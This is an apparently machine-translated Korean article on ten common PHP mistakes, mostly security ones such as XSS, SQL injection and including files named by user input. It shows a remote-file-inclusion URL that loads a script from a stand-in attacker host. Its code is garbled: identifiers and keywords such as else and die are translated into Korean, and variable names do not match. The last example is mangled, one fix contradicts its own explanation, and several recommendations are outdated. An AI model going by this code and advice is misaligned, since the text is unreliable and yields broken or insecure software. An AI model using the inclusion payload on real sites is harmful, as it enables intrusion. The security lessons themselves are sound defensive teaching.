PHP는 훌륭한 웹 개발 언어이자 유연한 언어이지만, PHP 프로그래머가 계속해서 저지르는 몇 가지 실수를 볼 수 있습니다. 나는 PHP 프로그래머들이 흔히 범하는 10가지 실수 목록을 만들었습니다. 그 중 대부분은 보안과 관련되어 있습니다. 어떤 종류의 실수를 했는지 확인하세요.
1. HTML 엔터티를 무시하지 마세요.
기본 상식: 신뢰할 수 없는 모든 입력(특히 사용자가 양식에서 제출한 데이터)은 출력 전에 변경되어야 합니다.
echo $_GET['사용자 이름'] ;
이 예제는 다음을 출력할 수 있습니다.
<script>/*관리자 비밀번호 변경 또는 쿠키 설정 스크립트*/</script>
사용자가 올바르게 입력하는지 확인하지 않는 한 이는 명백한 보안 위험입니다.
해결 방법:
"< ", ">", "and" 등을 올바른 HTML 표현(<, >' 및 ")으로 변환해야 합니다. htmlspecialchars 및 htmlentities() 함수가 이를 정확하게 수행합니다.
올바른 방법: echo htmlspecialchars( $_GET['username'], ENT_QUOTES);
2. SQL 입력을 무시하지 마십시오. 나는 SQL 주입을 방지하는 가장 간단한 방법(php+mysql) 기사에서 이 문제를 논의한 후 누군가 나에게 다음과 같이 말했습니다. php.ini에서 이미 Magic_quotes가 On으로 설정되어 있으므로 이에 대해 걱정할 필요가 없습니다. 하지만 모든 입력이 $_GET, $_POST 또는 $_COOKIE에서 나오는 것은 아닙니다.
해결 방법:
SQL 주입(php+mysql)을 방지하는 가장 간단한 방법과 마찬가지로
mysql_real_escape_string() 함수를 사용하는 올바른 방법을 권장합니다.
<?php
$sql = “사용자 설정 업데이트
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3. HTTP 헤더 관련 함수의 잘못된 사용: header(), session_start(), setcookie()
이 경고를 본 적이 있습니까?" 경고: 헤더 정보를 추가할 수 없습니다 - 헤더가 이미 전송되었습니다. [....]
웹페이지가 서버에서 다운로드될 때마다 서버의 출력은 헤더와 본문의 두 부분으로 나뉩니다.
헤더에는 쿠키와 같은 비시각적 데이터가 포함되어 있습니다. 항상 머리가 먼저 도착합니다. 텍스트 부분에는 시각적 HTML, 그림 및 기타 데이터가 포함됩니다.
Output_buffering을 Off로 설정하면 HTTP 헤더 관련 함수를 모두 호출해야 출력이 이루어집니다. 문제는 한 환경에서 개발하고 다른 환경에 배포할 때 output_buffering 설정이 다를 수 있다는 것입니다. 결과적으로 리디렉션이 중지되고 쿠키와 세션이 올바르게 설정되지 않았습니다...
해결 방법:
출력하기 전에 반드시 http-header 관련 함수를 호출하고, output_buffering = Off로 설정하세요.
.
4. 필수 또는 포함 파일은 안전하지 않은 데이터를 사용합니다. 다시 말하지만, 직접 명시적으로 선언하지 않은 데이터는 신뢰하지 마세요. $_GET, $_POST 또는 $_COOKIE에서 얻은 파일을 포함하거나 요구하지 마세요.
예를 들어:
index.php
<?
//헤더, 구성, 데이터베이스 연결 등 포함
include($_GET['파일명']);
//바닥글 포함
?>
이제 모든 해커가 다음을 사용할 수 있습니다: http://www.yourdomain.com/index.php?filename=anyfile.txt
기밀 정보를 얻거나 PHP 스크립트를 실행하려면
Allow_url_fopen=On이면 사망한 것입니다.
다음을 입력해 보세요.
http://www.yourdomain.com/index … n.com%2Fphhack.php
이제 귀하의 웹 페이지에는 http://www.youaredoomed.com/phphack.php 의 출력이 포함되어 있습니다. 해커는 스팸을 보내고 비밀번호를 변경할 수 있습니다. 삭제된 파일 등 당신이 상상할 수 있는 모든 것.
해결 방법:
include 또는 require 지시문에 포함될 수 있는 파일을 제어해야 합니다.
다음은 신속하지만 포괄적이지는 않은 해결 방법입니다.
<?
//허용된 파일만 포함합니다.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['파일명']);
}
또 다른{
종료('허용되지 않음');
}
?>
5. 문법 오류 문법 오류에는 너무 흔해서 여기에 나열해야 할 모든 어휘 및 문법 오류가 포함됩니다. 해결책은 PHP 구문을 주의 깊게 연구하고 대괄호, 중괄호, 세미콜론 또는 인용 부호를 놓치지 않도록 주의하는 것입니다. 또한 좋은 편집기를 찾고 메모장을 사용하지 마십시오!
6. 객체지향 프로젝트는 거의 또는 전혀 사용되지 않습니다. 결과적으로 코드 유지 관리에는 시간이 많이 걸리고 노동 집약적입니다. PHP는 점점 더 많은 객체 지향 기술을 지원하고 있으며 점점 더 좋아지고 있습니다. 객체 지향 기술을 사용하지 않을 이유가 없습니다.
7. 프레임워크를 사용하지 않음
PHP 프로젝트의 95%는 생성, 편집, 나열 및 삭제라는 동일한 네 가지 작업을 수행합니다. 이제 이 네 가지 작업을 완료하는 데 도움이 되는 MVC 프레임워크가 많이 있습니다. 이를 사용하는 것이 어떨까요?
8. PHP에서 이미 사용 가능한 기능을 인식하지 못함
PHP의 핵심에는 많은 기능이 포함되어 있습니다. 많은 프로그래머들이 계속해서 바퀴를 재발명합니다. 많은 시간이 낭비되었습니다. 코딩하기 전에 PHP mamual을 검색하고 Google에서 검색해 보세요. 새로운 발견을 발견할 수도 있습니다! PHP의 exec()는 cmd 쉘을 실행하고 실행 결과의 마지막 줄을 문자열 형태로 반환할 수 있는 강력한 함수입니다. 보안상의 이유로 EscapeShellCmd()를 사용할 수 있습니다.
9. 이전 버전의 PHP를 사용하세요.
많은 프로그래머들이 여전히 PHP4를 사용하고 있습니다. PHP4 개발에서는 PHP의 잠재력을 최대한 활용할 수 없으며 여전히 일부 보안 위험이 있습니다. PHP5로 전환하면 많은 노력이 필요하지 않습니다. 대부분의 PHP4 프로그램은 명령문을 거의 또는 전혀 변경하지 않고도 PHP5로 마이그레이션할 수 있습니다. http://www.nexen.net 의 조사에 따르면 PHP 서버의 12%만이 PHP5를 사용하므로 PHP 개발자의 88%는 여전히 PHP4를 사용하고 있습니다.
10. 인용 부호를 두 번 변경하거나 웹에 표시됩니다. 페이지 '"? 이는 일반적으로 개발자 환경에서는 Magic_quotes가 off로 설정되어 있지만 배포된 서버에서는 Magic_quotes=on으로 설정되어 있기 때문입니다. PHP는 GET, POST 및 COOKIE의 데이터에 대해 addlashes()를 반복적으로 실행합니다.
원본 텍스트:
같은 문자열 마법 인용문이 있습니다
.
문자열이에요
다시 실행
추가속시():
문자열
HTML 출력입니다:
입니다
. 서버가 잘못된 입력을 감지한 후 동일한 양식을 출력하고 사용자에게 다시 입력을 요구하여 사용자의 입력이 두 번 변경되는 경우도 있습니다.